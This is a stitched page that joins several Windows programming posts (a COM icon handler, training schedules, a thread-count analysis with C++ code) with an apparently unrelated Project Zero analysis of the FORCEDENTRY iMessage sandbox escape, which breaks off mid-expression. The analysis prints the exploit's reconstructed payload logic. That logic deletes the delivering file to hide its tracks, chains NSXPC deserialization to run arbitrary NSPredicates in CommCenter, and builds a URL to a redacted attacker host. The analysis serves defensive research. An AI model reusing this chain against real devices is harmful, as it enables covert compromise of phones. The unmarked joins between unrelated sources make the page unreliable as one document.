    auto hFile = ::CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 
        nullptr, OPEN_EXISTING, 0, nullptr);
    if (hFile == INVALID_HANDLE_VALUE)
        return bitness;

    //
    // create a memory mapped file to read the PE header
    //
    auto hMemMap = ::CreateFileMapping(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
    ::CloseHandle(hFile);
    if (!hMemMap)
        return bitness;

    //
    // map the first page (where the header is located)
    //
    auto p = ::MapViewOfFile(hMemMap, FILE_MAP_READ, 0, 0, 1 << 12);
    if (p) {
        auto header = ::ImageNtHeader(p);
        if (header) {
            auto machine = header->FileHeader.Machine;
            bitness = header->Signature == IMAGE_NT_OPTIONAL_HDR64_MAGIC ||
                machine == IMAGE_FILE_MACHINE_AMD64 || machine == IMAGE_FILE_MACHINE_ARM64 ?
                ModuleBitness::Bit64 : ModuleBitness::Bit32;
        }
        ::UnmapViewOfFile(p);
    }
    ::CloseHandle(hMemMap);
    
    return bitness;
}

To make all this work, there is still one more concern: registration. Normal COM registration is necessary (so that the call to CoCreateInstance issued by explorer has a chance to succeed), but not enough. Another registration is needed to let explorer know that this icon handler exists, and is to be used for files with the extension “DLL”.

Fortunately, ATL provides a convenient mechanism to add Registry settings using a simple script-like configuration, which does not require any code. The added keys/values have been placed in DllIconHandler.rgs like so:

HKCR
{
	NoRemove DllFile
	{
		NoRemove ShellEx
		{
			IconHandler = s '{d913f592-08f1-418a-9428-cc33db97ed60}'
		}
	}
}

This sets an icon handler in HKEY_CLASSES_ROOT\DllFile\ShellEx, where the IconHandler value specifies the CLSID of our component. You can find the CLSID in the IDL file where the coclass element is defined:

[
	uuid(d913f592-08f1-418a-9428-cc33db97ed60)
]
coclass IconHandler {

Replace your own CLSID if you’re building this project from scratch. Registration itself is done with the RegSvr32 built-in tool. With an ATL project, a successful build also causes RegSvr32 to be invoked on the resulting DLL, thus performing registration. The default behavior is to register in HKEY_CLASSES_ROOT which uses HKEY_LOCAL_MACHINE behind the covers. This requires running Visual Studio elevated (or an elevated command window if called from outside VS). It will register the icon handler for all users on the machine. If you prefer to register for the current user only (which uses HKEY_CURRENT_USER and does not require running elevated), you can set the per-user registration in VS by going to project properties, clinking on the Linker element and setting per-user redirection:

If you’re registering from outside VS, the per-user registration is achieved with:

regsvr32 /n /i:user <dllpath>

This is it! The full source code is available here.

Some people asked me if I had a schedule of trainings I plan to do in the coming months. Well, here it is. At this point I would like to gauge interest, and plan the course hours (time zone) to accommodate the majority of participants.

I am moving to classes that are partly full days and partly half days. The full day sessions are going to be recorded for the participants (so that if anyone misses something because of urgent work, inconvenient time zone, etc., the recording should help). The half days are not recorded, and should be easier to handle, since they are only about 4 hours long.

Here is the planned course list with dates (f=full day, all others are half-days). The cost is in USD (paid by individual / paid by a company):

• COM Programming with C++ (3 days): April 25, 26, 27, 28, May 2, 3 (Cost: 700/1300)
• Windows System Programming (5 days): May 16 (f), 17, 18, 19, 23 (f), 24, 25, 26 (Cost: 800/1500)
• Windows Kernel Programming (4 days): June 6 (f), 8, 9, 13 (f), 14 (Cost: 800/1500)
• Windows Internals (5 days): July 11 (f), 12, 13, 14, 18 (f), 19, 20, 21 (Cost: 800/1500)
• Advanced Kernel Programming (New!) (4 days): September 12 (f), 13, 14, 15, 19, 20, 21 (Cost: 800/1500)

“Advanced Kernel Programming” is a new class I’m planning, suitable for those who participated in “Windows Kernel Programming” (or have equivalent knowledge). This course will cover file system mini-filters, NDIS filters, and the Windows Filtering Platform (WFP), along with other advanced programming techniques.

I may add more classes after September, but it’s too far from now to make such a commitment.

If you are interested in one or more of these classes, please write an email to [email protected], and provide your name, preferred contact email, and your time zone. It’s not a commitment on your part, you may change your mind later on, but it should be genuine, where the dates and topics work for you.

Also, if you have other classes you would be happy if I deliver, you are welcome to suggest them. No promises, of course, but if there is enough interest, I will consider creating and delivering them.

If you’d like a private class for your team, get in touch. Syllabi can be customized as needed.

Have a great year ahead!

Update: the class is cancelled. I guess there weren’t that many people interested in COM this time around.

Today I’m opening registration for the COM Programming class to be held in April. The syllabus for the 3 day class can be found here. The course will be delivered in 6 half-days (4 hours each).

Dates: April (25, 26, 27, 28), May (2, 3).
Times: 2pm to 6pm, London time
Cost: 700 USD (if paid by an individual), 1300 USD (if paid by a company).

The class will be conducted remotely using Microsoft Teams or a similar platform.

What you need to know before the class: You should be comfortable using Windows on a Power User level. Concepts such as processes, threads, DLLs, and virtual memory should be understood fairly well. You should have experience writing code in C and some C++. You don’t have to be an expert, but you must know C and basic C++ to get the most out of this class. In case you have doubts, talk to me.

Participants in my Windows Internals and Windows System Programming classes have the required knowledge for the class.

We’ll start by looking at why COM was created in the first place, and then build clients and servers, digging into various mechanisms COM provides. See the syllabus for more details.

Previous students in my classes get 10% off. Multiple participants from the same company get a discount (email me for the details).

To register, send an email to [email protected] with the title “COM Training”, and write the name(s), email(s) and time zone(s) of the participants.

My schedule has been a mess in recent months, and continues to be so for the next few months. However, I am opening registration today for the Windows Internals training with some date changes from my initial plan.

Here are the dates and times (all based on London time) – 5 days total:

• July 6: 4pm to 12am (full day)
• July 7: 4pm to 8pm
• July 11: 4pm to 12am (full day)
• July 12, 13, 14, 18, 19: 4pm to 8pm

Training cost is 800 USD, if paid by an individual, or 1500 USD if paid by a company. Participants from Ukraine (please provide some proof) are welcome with a 90% discount (paying 80 USD, individual payments only).

If you’d like to register, please send me an email to [email protected] with “Windows Internals training” in the title, provide your full name, company (if any), preferred contact email, and your time zone. The basic syllabus can be found here. if you’ve sent me an email before when I posted about my upcoming classes, you don’t have to do that again – I will send full details soon.

The sessions will be recorded, so can watch any part you may be missing, or that may be somewhat overwhelming in “real time”.

As usual, if you have any questions, feel free to send me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

Looking at a typical Windows system shows thousands of threads, with process numbers in the hundreds, even though the total CPU consumption is low, meaning most of these threads are doing nothing most of the time. I typically rant about it in my Windows Internals classes. Why so many threads?

Here is a snapshot of my Task Manager showing the total number of threads and processes:

Showing processes details and sorting by thread count looks something like this:

The System process clearly has many threads. These are kernel threads created by the kernel itself and by device drivers. These threads are always running in kernel mode. For this post, I’ll disregard the System process and focus on “normal” user-mode processes.

There are other kernel processes that we should ignore, such as Registry and Memory Compression. Registry has few threads, but Memory Compression has many. It’s not shown in Task Manager (by design), but is shown in other tools, such as Process Explorer. While I’m writing this post, it has 78 threads. We should probably skip that process as well as being “out of our control”.

Notice the large number of threads in processes running the images Explorer.exe, SearchIndexer.exe, Nvidia Web helper.exe, Outlook.exe, Powerpnt.exe and MsMpEng.exe. Let’s write some code to calculate the average number of threads in a process and the standard deviation:

float ComputeStdDev(std::vector<int> const& values, float& average) {
	float total = 0;
	std::for_each(values.begin(), values.end(), 
		[&](int n) { total += n; });
	average = total / values.size();
	total = 0;
	std::for_each(values.begin(), values.end(), 
		[&](int n) { total += (n - average) * (n - average); });
	return std::sqrt(total / values.size());
}

int main() {
	auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(pe);

	// skip the idle process
	::Process32First(hSnapshot, &pe);

	int processes = 0, threads = 0;
	std::vector<int> threads_per_process;
	threads_per_process.reserve(500);
	while (::Process32Next(hSnapshot, &pe)) {
		processes++;
		threads += pe.cntThreads;
		threads_per_process.push_back(pe.cntThreads);
	}
	::CloseHandle(hSnapshot);

	assert(processes == threads_per_process.size());

	printf("Process: %d Threads: %d\n", processes, threads);
	float average;
	auto sd = ComputeStdDev(threads_per_process, average);
	printf("Average threads/process: %.2f\n", average);
	printf("Std. Dev.: %.2f\n", sd);

	return 0;
}

The ComputeStdDev function computes the standard deviation and average of a vector of integers. The main function uses the ToolHelp API to enumerate processes in the system, which fortunately also provides the number of threads in each processes (stored in the threads_per_process vector. If I run this (no processes removed just yet), this is what I get:

Process: 525 Threads: 7810
Average threads/process: 14.88
Std. Dev.: 23.38

Almost 15 threads per process, with little CPU consumption in my Task Manager. The standard deviation is more telling – it’s big compared to the average, which suggests that many processes are far from the average in their thread consumption. And since a negative thread count is not possible (even zero is almost impossible), the the divergence is with higher thread numbers.

To be fair, let’s remove the System and Memory Compression processes from our calculations. Here are the changes to the while loop:

while (::Process32Next(hSnapshot, &pe)) {
	if (pe.th32ProcessID == 4 || _wcsicmp(pe.szExeFile, L"memory compression") == 0)
		continue;
//...

Here are the results:

Process: 521 Threads: 7412
Average threads/process: 14.23
Std. Dev.: 14.14

The standard deviation is definitely smaller, but still pretty big (close to the average), which does not invalidate the previous point. Some processes use lots of threads.

In an ideal world, the number of threads in a system would be the same as the number of logical processors – any more and threads might fight over processors, any less and you’re not using the full power of the machine. Obviously, each “normal” process must have at least one thread running whatever main function is available in the executable, so on my system 521 threads would be the minimum number of threads. Still – we have over 7000.

What are these threads doing, anyway? Let’s examine some processes. First, an Explorer.exe process. Here is the Threads tab shown in Process Explorer:

93 threads. I’ve sorted the list by Start Address to get a sense of the common functions used. Let’s dig into some of them. One of the most common (in other processes as well) is ntdll!TppWorkerThread – this is a thread pool thread, likely waiting for work. Clicking the Stack button (or double clicking the entry in the list) shows the following call stack:

ntoskrnl.exe!KiSwapContext+0x76
ntoskrnl.exe!KiSwapThread+0x500
ntoskrnl.exe!KiCommitThreadWait+0x14f
ntoskrnl.exe!KeWaitForSingleObject+0x233
ntoskrnl.exe!KiSchedulerApc+0x3bd
ntoskrnl.exe!KiDeliverApc+0x2e9
ntoskrnl.exe!KiSwapThread+0x827
ntoskrnl.exe!KiCommitThreadWait+0x14f
ntoskrnl.exe!KeRemoveQueueEx+0x263
ntoskrnl.exe!IoRemoveIoCompletion+0x98
ntoskrnl.exe!NtWaitForWorkViaWorkerFactory+0x38e
ntoskrnl.exe!KiSystemServiceCopyEnd+0x25
ntdll.dll!ZwWaitForWorkViaWorkerFactory+0x14
ntdll.dll!TppWorkerThread+0x2f7
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

The system call NtWaitForWorkViaWorkerFactory is the one waiting for work (the name Worker Factory is the internal name of the thread pool type in the kernel, officially called TpWorkerFactory). The number of such threads is typically dynamic, growing and shrinking based on the amount of work provided to the thread pool(s). The minimum and maximum threads can be tweaked by APIs, but most processes are unlikely to do so.

Another function that appears a lot in the list is shcore.dll!_WrapperThreadProc. It looks like some generic function used by Explorer for its own threads. We can examine some call stacks to get a sense of what’s going on. Here is one:

ntoskrnl.exe!KiSwapContext+0x76
ntoskrnl.exe!KiSwapThread+0x500
ntoskrnl.exe!KiCommitThreadWait+0x14f
ntoskrnl.exe!KeWaitForSingleObject+0x233
ntoskrnl.exe!KiSchedulerApc+0x3bd
ntoskrnl.exe!KiDeliverApc+0x2e9
ntoskrnl.exe!KiSwapThread+0x827
ntoskrnl.exe!KiCommitThreadWait+0x14f
ntoskrnl.exe!KeWaitForSingleObject+0x233
ntoskrnl.exe!KeWaitForMultipleObjects+0x45b
win32kfull.sys!xxxRealSleepThread+0x362
win32kfull.sys!xxxSleepThread2+0xb5
win32kfull.sys!xxxRealInternalGetMessage+0xcfd
win32kfull.sys!NtUserGetMessage+0x92
win32k.sys!NtUserGetMessage+0x16
ntoskrnl.exe!KiSystemServiceCopyEnd+0x25
win32u.dll!NtUserGetMessage+0x14
USER32.dll!GetMessageW+0x2e
SHELL32.dll!_LocalServerThread+0x66
shcore.dll!_WrapperThreadProc+0xe9
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

This one seems to be waiting for UI messages, probably managing some user interface (GetMessage). We can verify with other tools. Here is my own WinSpy:

Apparently, I was wrong. This thread has the hidden window type used to receive messages targeting COM objects that leave in this Single Threaded Apartment (STA).

We can inspect WinSpy some more to see the threads and windows created by Explorer. I’ll leave that to the interested reader.

Other generic call stacks start with ucrtbase.dll!thread_start+0x42. Many of them have the following call stack (kernel part trimmed for brevity):

ntdll.dll!ZwWaitForMultipleObjects+0x14
KERNELBASE.dll!WaitForMultipleObjectsEx+0xf0
KERNELBASE.dll!WaitForMultipleObjects+0xe
cdp.dll!shared::CallbackNotifierListener::ListenerInternal::StartInternal+0x9f
cdp.dll!std::thread::_Invoke<std::tuple<<lambda_10793e1829a048bb2f8cc95974633b56> >,0>+0x2f
ucrtbase.dll!thread_start<unsigned int (__cdecl*)(void *),1>+0x42
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

A function in CDP.dll is waiting for something (WaitForMultipleObjects). I count at least 12 threads doing just that. Perhaps all these waits could be consolidated to a smaller number of threads?

Let’s tackle a different process. Here is an instance of Teams.exe. My teams is minimized to the tray and I have not interacted with it for a while:

62 threads. Many have the same CRT wrapper for a thread created by Teams. Here are several call stacks I observed:

ntdll.dll!ZwRemoveIoCompletion+0x14
KERNELBASE.dll!GetQueuedCompletionStatus+0x4f
skypert.dll!rtnet::internal::SingleThreadIOCP::iocpLoop+0x116
skypert.dll!SplOpaqueUpperLayerThread::run+0x84
skypert.dll!auf::priv::MRMWTransport::process1+0x6c
skypert.dll!auf::ThreadPoolExecutorImp::workLoop+0x160
skypert.dll!auf::tpImpThreadTrampoline+0x47
skypert.dll!spl::threadWinDispatch+0x19
skypert.dll!spl::threadWinEntry+0x17b
ucrtbase.dll!thread_start<unsigned int (__cdecl*)(void *),1>+0x42
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

ntdll.dll!ZwWaitForAlertByThreadId+0x14
ntdll.dll!RtlSleepConditionVariableCS+0x105
KERNELBASE.dll!SleepConditionVariableCS+0x29
Teams.exe!uv_cond_wait+0x10
Teams.exe!worker+0x8d
Teams.exe!uv__thread_start+0xa2
Teams.exe!thread_start<unsigned int (__cdecl*)(void *),1>+0x50
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

You can check more threads, but you get the idea. Most threads are waiting for something – this is not the ideal activity for a thread. A thread should run (useful) code.

Last example, Word:

57 threads. Word has been minimized for more than an hour now. The clearly common call stack looks like this:

ntdll.dll!ZwWaitForAlertByThreadId+0x14
ntdll.dll!RtlSleepConditionVariableSRW+0x131
KERNELBASE.dll!SleepConditionVariableSRW+0x29
v8jsi.dll!CrashForExceptionInNonABICompliantCodeRange+0x4092f6
v8jsi.dll!CrashForExceptionInNonABICompliantCodeRange+0x11ff2
v8jsi.dll!v8_inspector::V8StackTrace::topScriptIdAsInteger+0x43ad0
ucrtbase.dll!thread_start<unsigned int (__cdecl*)(void *),1>+0x42
KERNEL32.DLL!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

v8jsi.dll is the React Native v8 engine – it’s creating many threads, most of which are doing nothing. I found it in Outlook and PowerPoint as well.

Many applications today depend on various libraries and frameworks, some of which don’t seem to care too much about using threads economically – examples include Node.js, the Electron framework, even Java and .NET. Threads are not free – there is the ETHREAD and related data structures in the kernel, stack in kernel space, and stack in user space. Context switches and code run by the kernel scheduler when threads change states from Running to Waiting, and from Waiting to Ready are not free, either.

Many desktop/laptop systems today are very powerful and it might seem everything is fine. I don’t think so. Developers use so many layers of abstraction these days, that we sometimes forget there are actual processors that execute the code, and need to use memory and other resources. None of that is free.

Posted by Ian Beer & Samuel Groß of Google Project Zero

We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple’s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. Any editorial opinions reflected below are solely Project Zero’s and do not necessarily reflect those of the organizations we collaborated with during this research.

Late last year we published a writeup of the initial remote code execution stage of FORCEDENTRY, the zero-click iMessage exploit attributed by Citizen Lab to NSO. By sending a .gif iMessage attachment (which was really a PDF) NSO were able to remotely trigger a heap buffer overflow in the ImageIO JBIG2 decoder. They used that vulnerability to bootstrap a powerful weird machine capable of loading the next stage in the infection process: the sandbox escape.

In this post we'll take a look at that sandbox escape. It's notable for using only logic bugs. In fact it's unclear where the features that it uses end and the vulnerabilities which it abuses begin. Both current and upcoming state-of-the-art mitigations such as Pointer Authentication and Memory Tagging have no impact at all on this sandbox escape.

An observation

During our initial analysis of the .gif file Samuel noticed that rendering the image appeared to leak memory. Running the heap tool after releasing all the associated resources gave the following output:

$ heap $pid

------------------------------------------------------------

All zones: 4631 nodes (826336 bytes)        

   COUNT    BYTES     AVG   CLASS_NAME   TYPE   BINARY          

   =====    =====     ===   ==========   ====   ======        

    1969   469120   238.3   non-object

     825    26400    32.0   JBIG2Bitmap  C++   CoreGraphics

heap was able to determine that the leaked memory contained JBIG2Bitmap objects.

Using the -address option we could find all the individual leaked bitmap objects:

$ heap -address JBIG2Bitmap $pid

and dump them out to files. One of those objects was quite unlike the others:

$ hexdump -C dumpXX.bin | head

00000000  62 70 6c 69 73 74 30 30  |bplist00|

...

00000018        24 76 65 72 73 69  |  $versi|

00000020  6f 6e 59 24 61 72 63 68  |onY$arch|

00000028  69 76 65 72 58 24 6f 62  |iverX$ob|

00000030  6a 65 63 74 73 54 24 74  |jectsT$t|

00000038  6f 70                    |op      |

00000040        4e 53 4b 65 79 65  |  NSKeye|

00000048  64 41 72 63 68 69 76 65  |dArchive|

It's clearly a serialized NSKeyedArchiver. Definitely not what you'd expect to see in a JBIG2Bitmap object. Running strings we see plenty of interesting things (noting that the URL below is redacted):

Objective-C class and selector names:

NSFunctionExpression

NSConstantValueExpression

NSConstantValue

expressionValueWithObject:context:

filteredArrayUsingPredicate:

_web_removeFileOnlyAtPath:

context:evaluateMobileSubscriberIdentity:

performSelectorOnMainThread:withObject:waitUntilDone:

...

The name of the file which delivered the exploit:

XXX.gif

Filesystems paths:

/tmp/com.apple.messages

/System/Library/PrivateFrameworks/SlideshowKit.framework/Frameworks/OpusFoundation.framework

a URL:

https://XXX.cloudfront.net/YYY/ZZZ/megalodon?AAA

Using plutil we can convert the bplist00 binary format to XML. Performing some post-processing and cleanup we can see that the top-level object in the NSKeyedArchiver is a serialized NSFunctionExpression object.

NSExpression NSPredicate NSExpression

If you've ever used Core Data or tried to filter a Objective-C collection you might have come across NSPredicates. According to Apple's public documentation they are used "to define logical conditions for constraining a search for a fetch or for in-memory filtering".

For example, in Objective-C you could filter an NSArray object like this:

  NSArray* names = @[@"one", @"two", @"three"];

  NSPredicate* pred;

  pred = [NSPredicate predicateWithFormat:

            @"SELF beginswith[c] 't'"];

  NSLog(@"%@", [names filteredArrayUsingPredicate:pred]);

The predicate is "SELF beginswith[c] 't'". This prints an NSArray containing only "two" and "three".

[NSPredicate predicateWithFormat] builds a predicate object by parsing a small query language, a little like an SQL query.

NSPredicates can be built up from NSExpressions, connected by NSComparisonPredicates (like less-than, greater-than and so on.)

NSExpressions themselves can be fairly complex, containing aggregate expressions (like "IN" and "CONTAINS"), subqueries, set expressions, and, most interestingly, function expressions.

Prior to 2007 (in OS X 10.4 and below) function expressions were limited to just the following five extra built-in methods: sum, count, min, max, and average.

But starting in OS X 10.5 (which would also be around the launch of iOS in 2007) NSFunctionExpressions were extended to allow arbitrary method invocations with the FUNCTION keyword:

  "FUNCTION('abc', 'stringByAppendingString', 'def')" => @"abcdef"

FUNCTION takes a target object, a selector and an optional list of arguments then invokes the selector on the object, passing the arguments. In this case it will allocate an NSString object @"abc" then invoke the stringByAppendingString: selector passing the NSString @"def", which will evaluate to the NSString @"abcdef".

In addition to the FUNCTION keyword there's CAST which allows full reflection-based access to all Objective-C types (as opposed to just being able to invoke selectors on literal strings and integers):

  "FUNCTION(CAST('NSFileManager', 'Class'), 'defaultManager')"

Here we can get access to the NSFileManager class and call the defaultManager selector to get a reference to a process's shared file manager instance.

These keywords exist in the string representation of NSPredicates and NSExpressions. Parsing those strings involves creating a graph of NSExpression objects, NSPredicate objects and their subclasses like NSFunctionExpression. It's a serialized version of such a graph which is present in the JBIG2 bitmap.

NSPredicates using the FUNCTION keyword are effectively Objective-C scripts. With some tricks it's possible to build nested function calls which can do almost anything you could do in procedural Objective-C. Figuring out some of those tricks was the key to the 2019 Real World CTF DezhouInstrumenz challenge, which would evaluate an attacker supplied NSExpression format string. The writeup by the challenge author is a great introduction to these ideas and I'd strongly recommend reading that now if you haven't. The rest of this post builds on the tricks described in that post.

A tale of two parts

The only job of the JBIG2 logic gate machine described in the previous blog post is to cause the deserialization and evaluation of an embedded NSFunctionExpression. No attempt is made to get native code execution, ROP, JOP or any similar technique.

Prior to iOS 14.5 the isa field of an Objective-C object was not protected by Pointer Authentication Codes (PAC), so the JBIG2 machine builds a fake Objective-C object with a fake isa such that the invocation of the dealloc selector causes the deserialization and evaluation of the NSFunctionExpression. This is very similar to the technique used by Samuel in the 2020 SLOP post.

This NSFunctionExpression has two purposes:

Firstly, it allocates and leaks an ASMKeepAlive object then tries to cover its tracks by finding and deleting the .gif file which delivered the exploit.

Secondly, it builds a payload NSPredicate object then triggers a logic bug to get that NSPredicate object evaluated in the CommCenter process, reachable from the IMTranscoderAgent sandbox via the com.apple.commcenter.xpc NSXPC service.

Let's look at those two parts separately:

Covering tracks

The outer level NSFunctionExpression calls performSelectorOnMainThread:withObject:waitUntilDone which in turn calls makeObjectsPerformSelector:@"expressionValueWithObject:context:" on an NSArray of four NSFunctionExpressions. This allows the four independent NSFunctionExpressions to be evaluated sequentially.

With some manual cleanup we can recover pseudo-Objective-C versions of the serialized NSFunctionExpressions.

The first one does this:

[[AMSKeepAlive alloc] initWithName:"KA"]

This allocates and then leaks an AppleMediaServices KeepAlive object. The exact purpose of this is unclear.

The second entry does this:

[[NSFileManager defaultManager] _web_removeFileOnlyAtPath:

  [@"/tmp/com.apple.messages" stringByAppendingPathComponent:

    [ [ [ [

            [NSFileManager defaultManager]

            enumeratorAtPath: @"/tmp/com.apple.messages"

          ]

          allObjects

        ]

        filteredArrayUsingPredicate:

          [

            [NSPredicate predicateWithFormat:

              [

                [@"SELF ENDSWITH '"

                  stringByAppendingString: "XXX.gif"]

                stringByAppendingString: "'"

      ]   ] ] ]

      firstObject

    ]

  ]

]

Reading these single expression NSFunctionExpressions is a little tricky; breaking that down into a more procedural form it's equivalent to this:

NSFileManager* fm = [NSFileManager defaultManager];

NSDirectoryEnumerator* dir_enum;

dir_enum = [fm enumeratorAtPath: @"/tmp/com.apple.messages"]

NSArray* allTmpFiles = [dir_enum allObjects];

NSString* filter;

filter = ["@"SELF ENDSWITH '" stringByAppendingString: "XXX.gif"];

filter = [filter stringByAppendingString: "'"];

NSPredicate* pred;

pred = [NSPredicate predicateWithFormat: filter]

NSArray* matches;

matches = [allTmpFiles filteredArrayUsingPredicate: pred];

NSString* gif_subpath = [matches firstObject];

NSString* root = @"/tmp/com.apple.messages";

NSString* full_path;

full_path = [root stringByAppendingPathComponent: gifSubpath];

[fm _web_removeFileOnlyAtPath: full_path];

This finds the XXX.gif file used to deliver the exploit which iMessage has stored somewhere under the /tmp/com.apple.messages folder and deletes it.

The other two NSFunctionExpressions build a payload and then trigger its evaluation in CommCenter. For that we need to look at NSXPC.

NSXPC

NSXPC is a semi-transparent remote-procedure-call mechanism for Objective-C. It allows the instantiation of proxy objects in one process which transparently forward method calls to the "real" object in another process:

https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html

I say NSXPC is only semi-transparent because it does enforce some restrictions on what objects are allowed to traverse process boundaries. Any object "exported" via NSXPC must also define a protocol which designates which methods can be invoked and the allowable types for each argument. The NSXPC programming guide further explains the extra handling required for methods which require collections and other edge cases.

The low-level serialization used by NSXPC is the same explored by Natalie Silvanovich in her 2019 blog post looking at the fully-remote attack surface of the iPhone. An important observation in that post was that subclasses of classes with any level of inheritance are also allowed, as is always the case with NSKeyedUnarchiver deserialization.

This means that any protocol object which declares a particular type for a field will also, by design, accept any subclass of that type.

The logical extreme of this would be that a protocol which declared an argument type of NSObject would allow any subclass, which is the vast majority of all Objective-C classes.

Grep to the rescue

This is fairly easy to analyze automatically. Protocols are defined statically so we can just find them and check each one. Tools like RuntimeBrowser and classdump can parse the static protocol definitions and output human-readable source code. Grepping the output of RuntimeBrowser like this is sufficient to find dozens of cases of NSObject pointers in Objective-C protocols:

  $ egrep -Rn "\(NSObject \*\)arg" *

Not all the results are necessarily exposed via NSXPC, but some clearly are, including the following two matches in CoreTelephony.framework:

Frameworks/CoreTelephony.framework/\

CTXPCServiceSubscriberInterface-Protocol.h:39:

-(void)evaluateMobileSubscriberIdentity:

        (CTXPCServiceSubscriptionContext *)arg1

       identity:(NSObject *)arg2

       completion:(void (^)(NSError *))arg3;

Frameworks/CoreTelephony.framework/\

CTXPCServiceCarrierBundleInterface-Protocol.h:13:

-(void)setWiFiCallingSettingPreferences:

         (CTXPCServiceSubscriptionContext *)arg1

       key:(NSString *)arg2

       value:(NSObject *)arg3

       completion:(void (^)(NSError *))arg4;

evaluateMobileSubscriberIdentity string appears in the list of selector-like strings we first saw when running strings on the bplist00. Indeed, looking at the parsed and beautified NSFunctionExpression we see it doing this:

[ [ [CoreTelephonyClient alloc] init]

  context:X

  evaluateMobileSubscriberIdentity:Y]

This is a wrapper around the lower-level NSXPC code and the argument passed as Y above to the CoreTelephonyClient method corresponds to the identity:(NSObject *)arg2 argument passed via NSXPC to CommCenter (which is the process that hosts com.apple.commcenter.xpc, the NSXPC service underlying the CoreTelephonyClient). Since the parameter is explicitly named as NSObject* we can in fact pass any subclass of NSObject*, including an NSPredicate! Game over?

Parsing vs Evaluation

It's not quite that easy. The DezhouInstrumentz writeup discusses this attack surface and notes that there's an extra, specific mitigation. When an NSPredicate is deserialized by its initWithCoder: implementation it sets a flag which disables evaluation of the predicate until the allowEvaluation method is called.

So whilst you certainly can pass an NSPredicate* as the identity argument across NSXPC and get it deserialized in CommCenter, the implementation of evaluateMobileSubscriberIdentity: in CommCenter is definitely not going to call allowEvaluation:  to make the predicate safe for evaluation then evaluateWithObject: and then evaluate it.

Old techniques, new tricks

From the exploit we can see that they in fact pass an NSArray with two elements:

[0] = AVSpeechSynthesisVoice

[1] = PTSection {rows = NSArray { [0] = PTRow() }

The first element is an AVSpeechSynthesisVoice object and the second is a PTSection containing a single PTRow. Why?

PTSection and PTRow are both defined in the PrototypeTools private framework. PrototypeTools isn't loaded in the CommCenter target process. Let's look at what happens when an AVSpeechSynthesisVoice is deserialized:

Finding a voice

AVSpeechSynthesisVoice is implemented in AVFAudio.framework, which is loaded in CommCenter:

$ sudo vmmap `pgrep CommCenter` | grep AVFAudio

__TEXT  7ffa22c4c000-7ffa22d44000 r-x/r-x SM=COW \

/System/Library/Frameworks/AVFAudio.framework/Versions/A/AVFAudio

Assuming that this was the first time that an AVSpeechSynthesisVoice object was created inside CommCenter (which is quite likely) the Objective-C runtime will call the initialize method on the AVSpeechSynthesisVoice class before instantiating the first instance.

[AVSpeechSynthesisVoice initialize] has a dispatch_once block with the following code:

NSBundle* bundle;

bundle = [NSBundle bundleWithPath:

                     @"/System/Library/AccessibilityBundles/\

                         AXSpeechImplementation.bundle"];

if (![bundle isLoaded]) {

    NSError err;

    [bundle loadAndReturnError:&err]

}

So sending a serialized AVSpeechSynthesisVoice object will cause CommCenter to load the /System/Library/AccessibilityBundles/AXSpeechImplementation.bundle library. With some scripting using otool -L to list dependencies we can  find the following dependency chain from AXSpeechImplementation.bundle to PrototypeTools.framework:

['/System/Library/AccessibilityBundles/\

    AXSpeechImplementation.bundle/AXSpeechImplementation',

 '/System/Library/AccessibilityBundles/\

    AXSpeechImplementation.bundle/AXSpeechImplementation',

 '/System/Library/PrivateFrameworks/\

    AccessibilityUtilities.framework/AccessibilityUtilities',

 '/System/Library/PrivateFrameworks/\

    AccessibilitySharedSupport.framework/AccessibilitySharedSupport',

'/System/Library/PrivateFrameworks/Sharing.framework/Sharing',

'/System/Library/PrivateFrameworks/\

    PrototypeTools.framework/PrototypeTools']

This explains how the deserialization of a PTSection will succeed. But what's so special about PTSections and PTRows?

Predicated Sections

[PTRow initwithcoder:] contains the following snippet:

  self->condition = [coder decodeObjectOfClass:NSPredicate

                           forKey:@"condition"]

  [self->condition allowEvaluation]

This will deserialize an NSPredicate object, assign it to the PTRow member variable condition and call allowEvaluation. This is meant to indicate that the deserializing code considers this predicate safe, but there's no attempt to perform any validation on the predicate contents here. They then need one more trick to find a path to which will additionally evaluate the PTRow's condition predicate.

Here's a snippet from [PTSection initWithCoder:]:

NSSet* allowed = [NSSet setWithObjects: @[PTRow]]

id* rows = [coder decodeObjectOfClasses:allowed forKey:@"rows"]

[self initWithRows:rows]

This deserializes an array of PTRows and passes them to [PTSection initWithRows] which assigns a copy of the array of PTRows to PTSection->rows then calls [self _reloadEnabledRows] which in turn passes each row to [self _shouldEnableRow:]

_shouldEnableRow:row {

  if (row->condition) {

    return [row->condition evaluateWithObject: self->settings]

  }

}

And thus, by sending a PTSection containing a single PTRow with an attached condition NSPredicate they can cause the evaluation of an arbitrary NSPredicate, effectively equivalent to arbitrary code execution in the context of CommCenter.

Payload 2

The NSPredicate attached to the PTRow uses a similar trick to the first payload to cause the evaluation of six independent NSFunctionExpressions, but this time in the context of the CommCenter process. They're presented here in pseudo Objective-C:

Expression 1

[  [CaliCalendarAnonymizer sharedAnonymizedStrings]

   setObject:

     @[[NSURLComponents

         componentsWithString:

         @"https://cloudfront.net/XXX/XXX/XXX?aaaa"], '0']

   forKey: @"0"

]

The use of [CaliCalendarAnonymizer sharedAnonymizedStrings] is a trick to enable the array of independent NSFunctionExpressions to have "local variables". In this first case they create an NSURLComponents object which is used to build parameterised URLs. This URL builder is then stored in the global dictionary returned by [CaliCalendarAnonymizer sharedAnonymizedStrings] under the key "0".

Expression 2

[[NSBundle

  bundleWithPath:@"/System/Library/PrivateFrameworks/\

